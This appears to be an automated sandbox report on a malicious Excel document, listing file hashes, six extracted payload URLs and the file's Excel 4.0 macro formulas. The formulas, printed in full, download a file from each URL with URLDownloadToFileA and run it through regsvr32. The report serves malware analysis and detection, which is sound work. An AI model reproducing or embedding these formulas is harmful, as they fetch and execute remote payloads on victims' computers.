General
-
Target
eff38cc583a44a6e245852d7ad45e4b215a0e74338dea4e325ec8d6e6ade98a0
-
Size
37KB
-
MD5
52ef286f62f1caa1962fd113b3305ad6
-
SHA1
ae229f3c766e15df73eef3fcaefe25cc88365513
-
SHA256
eff38cc583a44a6e245852d7ad45e4b215a0e74338dea4e325ec8d6e6ade98a0
-
SHA512
422171c79b515a115e6b7c7aa477a349ceb65cb80f968c9de6ffc24ccfcc9eec1d1baea20ba6481b2c6711a3f76f37df7bafda2eeb8ad6a719a0fb8a89c83d50
-
SSDEEP
768:S7CkFF/vxL7UD9msu3bm9Y9Z502lkJexn9/Eg00wPYRND/0ZSPo0B5HAVJ:S7Tlxwuaa502Wex9wTsZ/0YBdI
Malware Config
Extracted
http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/
http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/
http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/
https://ramijabali.com/licenses/WQu8ZS0qQNGp/
http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/
http://blog.centerking.top/wp-includes/YvwIBPBq/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/WQu8ZS0qQNGp/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/YvwIBPBq/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
eff38cc583a44a6e245852d7ad45e4b215a0e74338dea4e325ec8d6e6ade98a0